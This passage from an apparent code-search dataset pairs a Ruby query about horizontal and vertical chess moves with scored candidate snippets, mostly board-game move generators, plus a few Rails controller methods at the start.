"text": "def index\n if current_user.role == \"su\"\n @organizations = Organization.all\n elsif current_user.role == \"ru\"\n @organizations = Organization.find_by_sql(\"select * from organizations where id in (select organization_id from org_users where user_id = #{current_user.id}) \")\n elsif current_user.role == \"sub\"\n @projects = Project.find_by_sql(\"select * for projects where id in (select project_id from user_project where user_id = '#{current_user.id}')\")\n end \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @users }\n end\n end",
"title": ""
},
{
"docid": "9503a16dc768ec53a623f2c79fa6450d",
"score": "0.6032313",
"text": "def set_report\n @report = Report.all.find(params[:id])\n if !(current_user.admin? || current_user?(@report.user))\n flash[:alert] = \"올바르지 않은 권한입니다.\"\n redirect_to root_url\n end\n end",
"title": ""
},
{
"docid": "4def6063ba7b4ab834807e20a89e2568",
"score": "0.60306704",
"text": "def admin_index\n authorize User\n @users = current_user.org.users.includes(:roles)\n end",
"title": ""
},
{
"docid": "64aec2da7bec2a9fbbed556fd340813f",
"score": "0.6030649",
"text": "def reports\n @concerns = @city.concerns.where(category: \"Report\")\n render action: :index\n end",
"title": ""
},
{
"docid": "25525547b1218be222591533bdf98f89",
"score": "0.60299647",
"text": "def index\n @screen = session.active_screen\n @reports = Report.find(:all)\n\n @reports.sort!{|a,b| a.name <=> b.name }\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reports }\n end\n end",
"title": ""
}
] |
15f9abb53cc21b554739b6987523c78d
|
horizontal_vertical_moves = [] (0...8).each do |x|
|
[
{
"docid": "ed8f182de35b0df3912a70dddea67ff8",
"score": "0.0",
"text": "def moves\n case move_dirs\n when :horizontal_vertical\n horizontal_vertical_movement([0,0])\n when :diagonal_movement\n diagonal_movement(self.pos)\n when :all_directions\n horizontal_vertical_movement(self.pos) + diagonal_movement(self.pos)\n end\n end",
"title": ""
}
] |
[
{
"docid": "7613e9fd2a11263eeb25d9b1739db38d",
"score": "0.7557613",
"text": "def each_winning_move\n\t\tall_winning_moves = []\n\t\tvertical_array = []\n\t\tall_winning_moves << @board[0]\n\t\tall_winning_moves << @board[1] \n\t\tall_winning_moves << @board[2]\n\t\tvertical_array = @board.transpose\n\t\tall_winning_moves << vertical_array[0]\n\t\tall_winning_moves << vertical_array[1]\n\t\tall_winning_moves << vertical_array[2]\n\t\tall_winning_moves << [@board[0][0], @board[1][1], @board[2][2]]\n\t\tall_winning_moves << [@board[0][2], @board[1][1], @board[2][0]]\n\t\tall_winning_moves\n\tend",
"title": ""
},
{
"docid": "89bd2be8e99e01c393d8dfe94916f01a",
"score": "0.7259112",
"text": "def horizontals(x,y)\n arr = []\n horizontals = [[-1, 0], [0, 1], [1, 0], [0,-1]]\n horizontals.each do |dir|\n xdir = x\n ydir = y\n while true\n xdir += dir[0]\n ydir += dir[1]\n arr << [xdir,ydir] if in_bounds?(xdir,ydir)\n break if !in_bounds?(xdir,ydir)\n break if @game.game_board[xdir][ydir] != nil\n end\n end\n arr\n end",
"title": ""
},
{
"docid": "384635ed2c6093b4bf873c8a6dadb3e8",
"score": "0.72449076",
"text": "def possible_moves\n moves = []\n \n (1..7).each do |x|\n (@row + x > 7)? x_1 = nil : x_1 = @row + x\n (@row - x < 0)? x_2 = nil : x_2 = @row - x\n (@column + x > 7)? y_1 = nil : y_1 = @column + x\n (@column - x < 0)? y_2 = nil : y_2 = @column - x\n \n moves << [x_1, @column]\n moves << [x_2, @column]\n moves << [@row, y_1]\n moves << [@row, y_2]\n moves << [x_1, y_1]\n moves << [x_2, y_1]\n moves << [x_1, y_2]\n moves << [x_2, y_2]\n end\n moves.delete_if {|moves| moves.include?(nil)}\n return moves\n end",
"title": ""
},
{
"docid": "dde2cf3608dbcdef3c7eee20855aa2a5",
"score": "0.7221252",
"text": "def horizontal_moves(pos)\r\n moves = []\r\n row, col = pos\r\n (col..7).each do |idx| \r\n break if @board[row][idx] != nil\r\n moves << [row, idx] \r\n end \r\n (0...col).each do |i| \r\n break if @board[row][i] != nil\r\n moves << [row, i]\r\n end \r\n moves\r\n end",
"title": ""
},
{
"docid": "914b6ea4c5c99ee0ccf358bb04e9d2e3",
"score": "0.7138554",
"text": "def single_step_moves(row, col)\n moves = []\n moves << [row, col - 1] if col - 1 >= 0\n moves << [row, col + 1] if col + 1 < 8\n if row - 1 >= 0\n moves << [row - 1, col]\n moves << [row - 1, col - 1] if col - 1 >= 0\n moves << [row - 1, col + 1] if col + 1 < 8\n end\n if row + 1 < 8\n moves << [row + 1, col]\n moves << [row + 1, col - 1] if col - 1 >= 0\n moves << [row + 1, col + 1] if col + 1 < 8\n end\n moves\nend",
"title": ""
},
{
"docid": "41f5d74c547ef80c31af0ef1ccd53d99",
"score": "0.7130639",
"text": "def horizontal(pos,move_num)\n hrzn_arr = []\n x,y = pos\n (1..move_num).each do |i|\n check_pos = [x,y + i]\n break if !(on_board?(check_pos)) || board[*check_pos].color == self.color\n hrzn_arr << check_pos\n break if board[*check_pos].color != :blank\n end\n\n (1..move_num).each do |i|\n check_pos = [x,y - i]\n break if !(on_board?(check_pos)) || board[*check_pos].color == self.color\n hrzn_arr << check_pos if on_board?(check_pos)\n break if board[*check_pos].color != :blank\n end\n hrzn_arr\n end",
"title": ""
},
{
"docid": "9dd1b38af8c48b78ed569b4d617d95f5",
"score": "0.7110511",
"text": "def potential_moves\n pos_x = @position.first\n pos_y = @position.last\n positions = []\n (0...pos_x).each do |x|\n positions << [x, pos_y]\n end\n (pos_x...8).each do |x|\n positions << [x, pos_y]\n end\n (0...pos_y).each do |y|\n positions << [pos_x, y]\n end\n (pos_y...8).each do |y|\n positions << [pos_x, y]\n end\n positions.delete([pos_x, pos_y])\n return positions\n end",
"title": ""
},
{
"docid": "9dd1b38af8c48b78ed569b4d617d95f5",
"score": "0.7110511",
"text": "def potential_moves\n pos_x = @position.first\n pos_y = @position.last\n positions = []\n (0...pos_x).each do |x|\n positions << [x, pos_y]\n end\n (pos_x...8).each do |x|\n positions << [x, pos_y]\n end\n (0...pos_y).each do |y|\n positions << [pos_x, y]\n end\n (pos_y...8).each do |y|\n positions << [pos_x, y]\n end\n positions.delete([pos_x, pos_y])\n return positions\n end",
"title": ""
},
{
"docid": "f35bf3e6ea359a4e34cd8d4af96c0dcc",
"score": "0.7110138",
"text": "def available_moves\n row, col = [*World::MINSIZE..x], [*World::MINSIZE..y] \n row.map { |r| ([r]*(y+1)).zip(col) }\n end",
"title": ""
},
{
"docid": "b77f2c5b236a1ef3aceca0366d4d597e",
"score": "0.6979991",
"text": "def get_moves(x,y)\n\t\tresult = []\n\t\t@moveset.each do |move|\n\t\t\trow = x + move[0]\n\t\t\tcol = y + move[1]\n\n\t\t\tif unlimited_movement?() then\n\t\t\t\tif (0..7).cover?(col) && (0..7).cover?(row) then result << [row, col] end\n\t\t\t\twhile (0..7).cover?(col) && (0..7).cover?(row)\n\t\t\t\t\trow += move[0]\n\t\t\t\t\tcol += move[1]\n\t\t\t\t\tresult << [row, col]\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif (0..7).cover?(col) && (0..7).cover?(row) then\n\t\t\t\t\tresult << [row, col]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn result\n\tend",
"title": ""
},
{
"docid": "dc14c1a7759f9f7f1e96a29f3ca7a6d3",
"score": "0.6910806",
"text": "def moves_array\n [up_right, up_left, right_up, right_down, down_right, down_left, left_up, left_down]\n end",
"title": ""
},
{
"docid": "2ba55989a32116390b1fbc124a0f8a16",
"score": "0.6898437",
"text": "def moves\n x, y = @pos\n positions = []\n positions << [x+2, y-1] << [x+2, y+1] << [x-2, y-1] << [x-2, y+1] << [x+1, y-2] << [x+1, y+2] << [x-1, y-2] << [x-1, y+2]\n valid_moves = positions.select {|pos| pos.all? {|i| i.between?(0,7)}} \n valid_moves\n end",
"title": ""
},
{
"docid": "66e8d5f846ab76eeafc8ba2ee60be991",
"score": "0.6888768",
"text": "def make_board\n arr = []\n for x in 0..6\n arr[x] = ['_','_','_','_','_','_']\n end\n return arr\n end",
"title": ""
},
{
"docid": "eeef721365b612047531ea5ec03f57f8",
"score": "0.68425626",
"text": "def valid_moves # used by misstep for test moves.\n moves = []\n\n (0..7).each do |x|\n (0..7).each do |y|\n moves.push(Move.new(x, y)) if valid_move?(x, y)\n end\n end\n moves\n end",
"title": ""
},
{
"docid": "e519c191aafa195307a33b353727b6e1",
"score": "0.68200046",
"text": "def get_moves\n moves = []\n x,y = @position\n RULES.each do |rule|\n moves << [x + rule[0], y + rule[1]]\n end\n moves\n end",
"title": ""
},
{
"docid": "c64e9d6d86fffdb15c691009b0d84b52",
"score": "0.68026626",
"text": "def moves\n moves = []\n moves.concat(horizontal_dirs)\n moves.concat(diagonal_dirs)\n moves\n end",
"title": ""
},
{
"docid": "177e36db194af2843d9fef4f11341ffb",
"score": "0.67995536",
"text": "def king_initial_setup_board_moves\n [[5, 1], [4, 1], [4, 2], [4, 3], [5, 3]]\n end",
"title": ""
},
{
"docid": "3b54f0ba53def8697d96edfa473dee74",
"score": "0.6782156",
"text": "def straight_line_moves(row, col)\n moves = []\n for i in (1..7) do\n moves << [row, col - i] if col - i >= 0\n moves << [row, col + i] if col + i < 8\n moves << [row - i, col] if row - i >= 0\n moves << [row + i, col] if row + i < 8\n end\n moves\nend",
"title": ""
},
{
"docid": "f13ea708cab77624a15f1c156e7dcd5f",
"score": "0.6770294",
"text": "def horizontal\n rows = []\n height.times do |y|\n rows << board.select { |cell| cell.coord.y == y }\n end\n rows\n end",
"title": ""
},
{
"docid": "4c559dd0a6383540b44b56fd6d190528",
"score": "0.67480123",
"text": "def moves \n []\n end",
"title": ""
},
{
"docid": "0c98fe2c5fe9a5f8f0110af157fc8650",
"score": "0.6742572",
"text": "def next_moves(row, col, direction)\n case direction\n when 'N'\n [[row - 1, col], [row - 1, col - 1], [row - 1, col + 1]]\n when 'S'\n [[row + 1, col], [row + 1, col - 1], [row + 1, col + 1]]\n when 'W'\n [[row, col - 1], [row - 1, col - 1], [row + 1, col - 1]]\n when 'E'\n [[row, col + 1], [row - 1, col + 1], [row + 1, col + 1]]\n else\n raise ArgumentError, \"Invalid move: #{direction}\"\n end\nend",
"title": ""
},
{
"docid": "ab6b87d439d2ac15bdfbf3aebcff6da0",
"score": "0.6736853",
"text": "def generate_moves\n @delta.each do |step|\n (1..7).each do |i|\n new_pos = [@pos[0] + step[0] * i, @pos[1] + step[1] * i]\n if valid_coord?(new_pos)\n @move_list << new_pos\n break if @board[new_pos]\n else\n break\n end\n end\n end\n end",
"title": ""
},
{
"docid": "184bd1bd1533e9ca0cc08c7b93943d94",
"score": "0.6724136",
"text": "def generate_horizontal_moves(n)\n generate_moves(n, 0, 1) + generate_moves(n, 0, -1)\n end",
"title": ""
},
{
"docid": "2737c0298acf38a81f05aa9503300dea",
"score": "0.6720472",
"text": "def rows_from_starting_point(starting_x, starting_y)\n (starting_x..7).each { |x| @possible_moves << [x, starting_y] }\n (0..starting_x).each { |x| @possible_moves << [x, starting_y] }\n end",
"title": ""
},
{
"docid": "a42ac0dd7f14b25cda5a47528bd85431",
"score": "0.6700966",
"text": "def northwest_moves(row, column)\n moves = []\n row += 1\n column -= 1\n until row > 7 || column < 0\n moves << [row, column]\n row += 1\n column -= 1\n end\n moves\n end",
"title": ""
},
{
"docid": "43de1aa0aa1cc1ffc238e50d28397581",
"score": "0.6700412",
"text": "def southeast_moves(row, column)\n moves = []\n row -= 1\n column += 1\n until row < 0 || column > 7\n moves << [row, column]\n row -= 1\n column += 1\n end\n moves\n end",
"title": ""
},
{
"docid": "60b8ea3c3b1a2769ac6f883c95e062f7",
"score": "0.66984713",
"text": "def generate_moves\n\t\tgenerate_linear_moves(1, 0)\n\t\tgenerate_linear_moves(-1, 0)\n\t\tgenerate_linear_moves(0, 1)\n\t\tgenerate_linear_moves(0, -1)\n\tend",
"title": ""
},
{
"docid": "78ed2ce80fbdc2a57e410191996b8d01",
"score": "0.6692391",
"text": "def knight_in_all_directions\n row_index, column_index = current_square\n\n moves = [[row_index - 1, column_index + 2],\n [row_index - 1, column_index - 2],\n [row_index + 1, column_index + 2],\n [row_index + 1, column_index - 2],\n [row_index - 2, column_index + 1],\n [row_index - 2, column_index - 1],\n [row_index + 2, column_index + 1],\n [row_index + 2, column_index - 1]]\n end",
"title": ""
},
{
"docid": "85783b608b33e989833f31b6c9962492",
"score": "0.6686865",
"text": "def northeast_moves(row, column)\n moves = []\n row += 1\n column += 1\n until row > 7 || column > 7\n moves << [row, column]\n row += 1\n column += 1\n end\n moves\n end",
"title": ""
},
{
"docid": "c5b600bc582204c005499b9fad0f6641",
"score": "0.66855276",
"text": "def generate_vertical_moves(n)\n generate_moves(n, 1, 0) + generate_moves(n, -1, 0)\n end",
"title": ""
},
{
"docid": "f162cd1cfbf56d0b479f4303b0f1304a",
"score": "0.6683217",
"text": "def potential_moves\n row = @position.first\n col = @position.last\n pos = []\n if @color == :white\n if row == 1\n\t pos << [row+2, col]\n\tend\n\tif row < 7\n\t pos << [row + 1, col]\n\tend\n\tif col > 0 && row < 7\n\t pos << [row + 1, col - 1]\n\tend\n\tif col < 7 && row < 7\n\t pos << [row + 1, col + 1]\n\tend\n else\n\tif row == 6\n\t pos << [row - 2, col]\n\tend\n\tif row > 0\n\t pos << [row -1, col] \n\t if col > 0\n\t pos << [row - 1, col - 1]\n\t elsif col < 7\n\t pos << [row -1, col + 1]\n\t end\n\tend\n end\n return pos\n end",
"title": ""
},
{
"docid": "f162cd1cfbf56d0b479f4303b0f1304a",
"score": "0.6683217",
"text": "def potential_moves\n row = @position.first\n col = @position.last\n pos = []\n if @color == :white\n if row == 1\n\t pos << [row+2, col]\n\tend\n\tif row < 7\n\t pos << [row + 1, col]\n\tend\n\tif col > 0 && row < 7\n\t pos << [row + 1, col - 1]\n\tend\n\tif col < 7 && row < 7\n\t pos << [row + 1, col + 1]\n\tend\n else\n\tif row == 6\n\t pos << [row - 2, col]\n\tend\n\tif row > 0\n\t pos << [row -1, col] \n\t if col > 0\n\t pos << [row - 1, col - 1]\n\t elsif col < 7\n\t pos << [row -1, col + 1]\n\t end\n\tend\n end\n return pos\n end",
"title": ""
},
{
"docid": "06bce14b3bf6bdfc9fa9b741dda356d5",
"score": "0.6672183",
"text": "def moves\n moveset = []\n\n move_dirs.each do |direction|\n x,y = @pos[0] + direction[0],@pos[1] + direction[1]\n next unless [x,y].all?{|i| i.between?(0,7)}\n #advance\n if board[[x,y]].nil?\n moveset << [x,y]\n #attack\n elsif board[[x,y]].color != color\n x,y = @pos[0] + direction[0]*2,@pos[1] + direction[1]*2\n next unless [x,y].all?{|i| i.between?(0,7)}\n if board[[x,y]].nil?\n moveset << [x,y]\n end\n end\n end\n moveset\n end",
"title": ""
},
{
"docid": "8946c1a72784520cbb3aded1a9831d4e",
"score": "0.6662229",
"text": "def capture_moves\n @capture_moves = []\n x = @x - 1\n y = @y + 1 if self.color == \"w\"\n y = @y - 1 if self.color == \"b\"\n 2.times do\n if @@board[y][x] != nil && @@board[y][x] != \" \" && @@board[y][x].color != self.color\n @capture_moves << [x, y]\n end\n x += 2\n end\n @capture_moves\n end",
"title": ""
},
{
"docid": "30e39f053c596cdf0b41590c1e5531f0",
"score": "0.6662228",
"text": "def create_moves_array(args)\n move_arr = []\n x = args.fetch(:x, [0])\n y = args.fetch(:y, [0])\n y_i = 0\n x_i = 0\n\n loop do\n move_arr << [y[y_i], x[x_i]]\n x_i += 1 if more_x = x_i < x.length - 1\n y_i += 1 if more_y = y_i < y.length - 1\n break unless more_x || more_y\n end\n\n return move_arr\n end",
"title": ""
},
{
"docid": "dfd391a8941da27435479408c5d68c79",
"score": "0.6661242",
"text": "def square_arrays\n squares = []\n org_row = 0\n org_col = 0\n (0..8).each do |i|\n squares[i] = []\n (org_row..org_row+2).each do |k|\n (org_col..org_col+2).each do |j|\n squares[i].push(@board[k][j])\n end \n end\n if org_row == 6\n org_col += 3 \n org_row = 0\n else\n org_row += 3 \n end\n end \n squares\n end",
"title": ""
},
{
"docid": "866c260e70a1da9f85dde70c234f5bfc",
"score": "0.66402096",
"text": "def get_valid_moves\n moves = []\n (0...@grid.length).each do |i|\n (0...@grid.length).each do |j|\n moves << [i,j] unless @grid[i][j].face_up\n end\n end\n moves\n end",
"title": ""
},
{
"docid": "0fe6fbeacc645340695a167ae9d0c005",
"score": "0.66374266",
"text": "def up_moves(row, column)\n moves = []\n row += 1\n until row > 7\n moves << [row, column]\n row += 1\n end\n moves\n end",
"title": ""
},
{
"docid": "1ce8f2fa3526ef63a8d962d5465bdad4",
"score": "0.6618369",
"text": "def next_moves\n\t\tmoves = [ [ @x + 2, @y + 1 ], [ @x + 2, @y - 1 ], [ @x + 1, @y + 2 ],\n\t\t\t\t\t\t [ @x + 1, @y - 2 ], [ @x - 1, @y + 2 ], [ @x - 1, @y - 2 ],\n\t\t\t\t\t\t [ @x - 2, @y + 1 ], [ @x - 2, @y -1 ] ]\n\t\tmoves.map { |move| Knight.new(move, @history) }\n\tend",
"title": ""
},
{
"docid": "4d1c123a63e58aaa67a53d5d728d78e5",
"score": "0.6590099",
"text": "def king_castling_moves\n moves = []\n from_to = []\n from = current_king_coordinate\n moves << [x-2, y] if left_castling?(@current_player.color)\n moves << [x+2, y] if right_castling?(@current_player.color)\n moves.each do |to|\n from_to << [from,to]\n end\n from_to\n end",
"title": ""
},
{
"docid": "29db0cf6e6eea27f460705dce92a5ecc",
"score": "0.65849274",
"text": "def getVerticalMoves(piece, numUp, numDown)\n validMoves = Array.new\n curX = piece.getCurrentPosn().getX()\n curY = piece.getCurrentPosn().getY()\n color = piece.getColor()\n \n for i in 1..numUp\n posnToCheck = Position.new(curX, (curY - i))\n valid = addValidMove(validMoves, posnToCheck, color)\n if !valid then break end\n end\n \n for i in 1..numDown\n posnToCheck = Position.new(curX, (curY + i))\n valid = addValidMove(validMoves, posnToCheck, color)\n if !valid then break end\n end\n \n validMoves\n end",
"title": ""
},
{
"docid": "892b7ccb60f68e65c2bba3746eb5f056",
"score": "0.65805525",
"text": "def spaces\n \tarray = []\n y = 1\n (:A..:H).each do |x|\n while y < 9\n array << [x,y]\n y += 1\n end\n y = 1\n end\n array\n end",
"title": ""
},
{
"docid": "892b7ccb60f68e65c2bba3746eb5f056",
"score": "0.65805525",
"text": "def spaces\n \tarray = []\n y = 1\n (:A..:H).each do |x|\n while y < 9\n array << [x,y]\n y += 1\n end\n y = 1\n end\n array\n end",
"title": ""
},
{
"docid": "05685af4cdecf14d134fe4a0c1651c0b",
"score": "0.6568214",
"text": "def horizontal_dirs\n result = []\n # debugger\n\n HORIZONTAL_DIRS.each do |move|\n array = [@pos]\n until array.length == 8\n potential_move = [(array.last.first + move[0]), (array.last.last + move[1])]\n if @board[potential_move].is_a?(Piece)\n next\n else\n array << potential_move\n end\n end\n array.shift\n result.concat(array)\n end\n \n result.select { |pos| pos[0] >= 0 && pos[1] >= 0 && pos[0] <= 7 && pos[1] <= 7}\n end",
"title": ""
},
{
"docid": "308be47c1a20513cd3930c20ec6c36fc",
"score": "0.6566885",
"text": "def vertical\n columns = []\n width.times do |x|\n columns << board.select { |cell| cell.coord.x == x }\n end\n columns\n end",
"title": ""
},
{
"docid": "a8e4ba2176cf1d98bf073a672a679878",
"score": "0.65611583",
"text": "def get_castling_moves\n @castling_moves = []\n @right_castling_move = []\n @left_castling_move = []\n if right_castling\n @right_castling_move << [@x+2,@y] \n show_legal_moves << [@x+2,@y]\n end\n if left_castling\n @left_castling_move << [@x-2,@y]\n show_legal_moves << [@x-2,@y]\n end\n @legal_moves\n end",
"title": ""
},
{
"docid": "419836e8bf24c15acecadc26661d4417",
"score": "0.65484244",
"text": "def positions(x=@x,y=@y) \n return [[x,y]] if unit_size == 1\n tiles = [] \n for ox in x...(x+unit_size)\n for oy in y...(y+unit_size)\n tiles.push([ox,oy])\n end\n end\n return tiles\n end",
"title": ""
},
{
"docid": "64f2c9330d62b608f3d0d4480559eed5",
"score": "0.654813",
"text": "def get_moves\n get_diagonal_moves\n end",
"title": ""
},
{
"docid": "1540d3e19e2cf1cbce30e3c3bd55971f",
"score": "0.6542891",
"text": "def make_board_array\n array = []\n 6.times do\n array.append([])\n end\n array\n end",
"title": ""
},
{
"docid": "db8b05165e0b404253317651ff596071",
"score": "0.6505993",
"text": "def possible_moves\n []\n end",
"title": ""
},
{
"docid": "bc08a0d7f2ba180f4e8b66604713d170",
"score": "0.6504835",
"text": "def all_moves\n inject([]) { |accum, track | accum << [:left, track[1], track[0]] << [:right, track[0], track[1]] }\n end",
"title": ""
},
{
"docid": "3cab0784963507b982d153aa2307570d",
"score": "0.6499816",
"text": "def moves\n moves = []\n\n steps = move_dirs\n\n steps.each do |step|\n current_pos = [@position[0]+step[0], @position[1]+step[1]]\n while on_board?(current_pos)\n moves << current_pos\n break if @board.occupied?(current_pos)\n # Break stops moving past other pieces.\n # Includes captures, even \"capturing\" own pieces!\n current_pos = [current_pos[0] + step[0], current_pos[1] + step[1]]\n end\n end\n\n moves\n end",
"title": ""
},
{
"docid": "bc3c7e62e9f8aa3519c60f3365f64157",
"score": "0.64912236",
"text": "def legal_moves(state)\n position = state[:position]\n move_list = []\n position.each_with_index do |square, index|\n if square == 0\n move_list << index\n end\n end\n move_list\n end",
"title": ""
},
{
"docid": "bc3c7e62e9f8aa3519c60f3365f64157",
"score": "0.64912236",
"text": "def legal_moves(state)\n position = state[:position]\n move_list = []\n position.each_with_index do |square, index|\n if square == 0\n move_list << index\n end\n end\n move_list\n end",
"title": ""
},
{
"docid": "bb8e8e2f3840cfd8899d51ac39c2ff7b",
"score": "0.6479444",
"text": "def control_board(board)\n Array.new(board.length) do |el|\n Array.new(board[el].length) { true }\n end\nend",
"title": ""
},
{
"docid": "5d1d922cbd20879f797f97da030f6d11",
"score": "0.6479307",
"text": "def possible_moves\n moves = []\n [0,1,2].each do |row|\n [0,1,2].each do |col|\n moves << [row,col] if @board[row][col] == SPACE_EMPTY\n end\n end\n moves\n end",
"title": ""
},
{
"docid": "df20c6c553b5b418950cbe9dc377909d",
"score": "0.6479024",
"text": "def vertical_moves(start, player, board, amount = nil)\n moves = []\n letter = start[0]\n n_idx = NUMBERS.index(start[1].to_i)\n down = NUMBERS[0..(n_idx - 1)].reverse\n up = NUMBERS[(n_idx + 1)..-1]\n # select amount of squares up to check with `amount` parameter.\n # no argument supplied evaluates to [0..-1], or the whole array.\n # `up` and `down` are ordered by their distance from the starting node, from closest\n # to farthest.\n down_amount = down[0..(amount.to_i - 1)]\n up_amount = up[0..(amount.to_i - 1)]\n # iterate over selected amount of vertical tiles, both above and below start point\n [down_amount, up_amount].each do |range|\n # prevent movement from bottom row to top row via 'teleporting'\n next if start[1] == '1' && range == down_amount\n # prevent movement from top to bottom via 'teleporting'\n next if start[1] == '8' && range == up_amount\n # iterate over vertical tiles\n range.each do |number|\n node = \"#{letter}#{number}\"\n # stops when a tile containing another piece is found. if the piece belongs to\n # the player who called the method, that tile is not added.\n if !board[node].nil?\n moves << node unless player.pieces.include?(board[node])\n break\n else\n # otherwise the tile is added to the possible moves.\n moves << node\n end\n end\n end\n moves\n end",
"title": ""
},
{
"docid": "52a7b7954afb07b4cf38fb5956525f5d",
"score": "0.647578",
"text": "def create_boxes\n boxes = []\n (0..2).each do |vert_offset|\n (27*vert_offset..(27*vert_offset+6)).step(3) { |offset| boxes << \"#{board_string[offset..offset+2]}#{board_string[offset+9..offset+11]}#{board_string[offset+18..offset+20]}\" }\n end\n boxes\n end",
"title": ""
},
{
"docid": "d9f018eb4b2a340092cdfd41cf1e3041",
"score": "0.6469726",
"text": "def get_moves_at(row, col)\n [\n [\n { :row => row + 2, :col => col }, \n { :row => row + 1, :col => col }\n ],\n [\n { :row => row + 2, :col => col + 2 }, \n { :row => row + 1, :col => col + 1 }\n ],\n [\n { :row => row - 2, :col => col - 2 }, \n { :row => row - 1, :col => col - 1 }\n ],\n [\n { :row => row - 2, :col => col }, \n { :row => row - 1, :col => col }\n ],\n [\n { :row => row, :col => col + 2 }, \n { :row => row, :col => col + 1 }\n ],\n [\n { :row => row, :col => col - 2 }, \n { :row => row, :col => col - 1 }\n ]\n ].inject([]) do |valid_moves, candidate|\n valid_moves << candidate if candidate.all? do |square| \n in_bounds?(square[:row], square[:col]) && \n @board[square[:row]][square[:col]] == \"x\"\n end\n valid_moves\n end\n end",
"title": ""
},
{
"docid": "725f70fda0d4acd01f0a1a389338859c",
"score": "0.6462846",
"text": "def moves\n current_row, current_column = self.position\n possible_moves = []\n unless initial_move\n possible_moves << [current_row + 1, current_column]\n possible_moves << [current_row + 2, current_column]\n else\n #Move 2 times\n #is there a eatable piece diagonal from pawn? if so, move diagonally one square\n #otherwise\n possible_moves << [current_row + 1, current_column]\n end\n\n #initial_move = true\n possible_moves\n end",
"title": ""
},
{
"docid": "47ed31e09423ec8e97728c5f39722a48",
"score": "0.6452741",
"text": "def moves\n pos_moves = []\n\n move_dirs.each do |dx, dy|\n pos_moves.concat(grow_unblocked_moves_in_dir(dx, dy))\n end\n\n pos_moves\n end",
"title": ""
},
{
"docid": "23e3eaab9ac375bdbf12460b6877afa0",
"score": "0.6451213",
"text": "def moves(direction)\n valid_moves = []\n direction.each do |(dx, dy)|\n next_square = [pos[0] + dx, pos[1] + dy]\n next if !Board.on_board?(next_square)\n if dy != 0\n next if @board[next_square].nil?\n valid_moves << next_square if @board[next_square].color != self.color\n else\n if pos[0] == 1\n initial_move = [pos[0] + 2, pos[1]]\n valid_moves << initial_move if @board[initial_move].nil?\n elsif pos[0] == 6\n initial_move = [pos[0] - 2, pos[1]]\n valid_moves << initial_move if @board[initial_move].nil?\n end \n valid_moves << next_square if @board[next_square].nil? \n end\n \n \n end\n valid_moves\n end",
"title": ""
},
{
"docid": "e128ab3dd31701681dbc83dc4ebdfe78",
"score": "0.6448251",
"text": "def create_board\n @board = []\n 0.upto(7) {|i|\n 0.upto(7) {|j|\n @board << [i,j]\n }\n }\n return @board\n end",
"title": ""
},
{
"docid": "5de9f0030c89592f17b82b7c98c70906",
"score": "0.64463896",
"text": "def moves\n one_step_ahead = [pos[0] + move_dir, pos[1]]\n two_steps_ahead = [pos[0] + (2 * move_dir), pos[1]]\n moves = [one_step_ahead, two_steps_ahead]\n moves.reject! { |move| Board.offboard?(move) || hits_piece?(move) }\n\n MOVES.each do |offset|\n current_pos = pos\n color_offset = [offset[0] * move_dir, offset[1]]\n current_pos = [current_pos[0] + color_offset[0], current_pos[1] + color_offset[1]]\n moves << current_pos unless Board.offboard?(current_pos) || cannot_take_piece?(current_pos)\n end\n\n moves\n end",
"title": ""
},
{
"docid": "4784603748d23fa24a1358601a7d493a",
"score": "0.64447874",
"text": "def generate_moves(n, row_dir, col_dir)\n moves = []\n (1..n).each do |i| \n new_row = row + i*row_dir\n new_col = col + i*col_dir\n break if (new_row > 7 || new_row < 0) || (new_col > 7 || new_col < 0)\n target = board.at(new_row, new_col)\n if target.is_a? Piece\n moves << [i*row_dir, i*col_dir] unless target.color == self.color\n break\n else\n moves << [i*row_dir, i*col_dir]\n end\n end\n moves\n end",
"title": ""
},
{
"docid": "95281271e36fbfc58a5a3b93b88b33a8",
"score": "0.64429855",
"text": "def moves\n [[(-1*(Math.cos(@angle*Math::PI/180))).to_i,0],[(-2*(Math.cos(@angle*Math::PI/180))).to_i,0],[(-3*(Math.cos(@angle*Math::PI/180))).to_i,0],[(1*(Math.cos(@angle*Math::PI/180))).to_i,0],[(2*(Math.cos(@angle*Math::PI/180))).to_i,0],[(3*(Math.cos(@angle*Math::PI/180))).to_i,0],[0,(1*(Math.cos(@angle*Math::PI/180))).to_i],[0,(2*(Math.cos(@angle*Math::PI/180))).to_i],[0,(3*(Math.cos(@angle*Math::PI/180))).to_i]]\n end",
"title": ""
},
{
"docid": "cb0a18479364266693b1c44509270919",
"score": "0.6441024",
"text": "def moves\n [[(-1*(Math.cos(@angle*Math::PI/180))).to_i,0],[(-2*(Math.cos(@angle*Math::PI/180))).to_i,0],[(1*(Math.cos(@angle*Math::PI/180))).to_i,0],[(2*(Math.cos(@angle*Math::PI/180))).to_i,0],[0,(1*(Math.cos(@angle*Math::PI/180))).to_i],[0,(2*(Math.cos(@angle*Math::PI/180))).to_i],[0,(-1*(Math.cos(@angle*Math::PI/180))).to_i],[0,(-2*(Math.cos(@angle*Math::PI/180))).to_i]]\n end",
"title": ""
},
{
"docid": "1927b3d708ffbcf27a6577572fcc3602",
"score": "0.6435585",
"text": "def create_board\n board = []\n x = 0\n until x > 41\n board.push([x])\n x += 1\n end\n board\n end",
"title": ""
},
{
"docid": "1976a1ca627b5cb371ff4e32d4db9be9",
"score": "0.64325523",
"text": "def get_moves(pieces)\n\t\tarrPos = [] \n\t\tif team == 1\n\t\t\tarrPos << [@xCord, @yCord + 1] if square_is_open?(pieces, [@xCord, @yCord + 1])\n\t\t\tarrPos << [@xCord, @yCord + 2] if @yCord == 1 && square_is_open?(pieces, [@xCord, @yCord + 2])\n\t\telsif team == 2\n\t\t\tarrPos << [@xCord, @yCord - 1] if square_is_open?(pieces, [@xCord, @yCord - 1])\n\t\t\tarrPos << [@xCord, @yCord - 2] if @yCord == 6 && square_is_open?(pieces, [@xCord, @yCord - 2])\n\t\tend\n\t\tarrPos\n\tend",
"title": ""
},
{
"docid": "fd3487ea102037c8a40a4a3f4e8c2f04",
"score": "0.64262384",
"text": "def make_board\n\t\tpositions = []\n\t\t(0..7).each { |x| (0..7).each { |y| positions << [x,y] }}\n\t\tnodes = []\n\t\tcount = 0\n\t\tpositions.each do |x|\n\t\t\tnodes << GameNode.new(x)\n\t\t\tcount += 1\n\t\tend\n\t\tnodes\n\tend",
"title": ""
},
{
